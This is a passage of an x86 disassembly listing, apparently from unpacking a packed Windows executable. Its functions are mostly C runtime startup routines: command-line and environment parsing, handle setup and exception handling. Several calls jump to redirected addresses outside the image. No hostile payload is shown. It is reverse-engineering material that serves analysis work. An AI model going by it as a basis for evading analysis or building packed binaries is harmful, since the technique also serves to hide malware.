loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 264074Dh


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2640347h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 26405A0h
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2640347h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 26405DEh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 26307CFh
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2640000h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 26307CFh
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 2640298h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


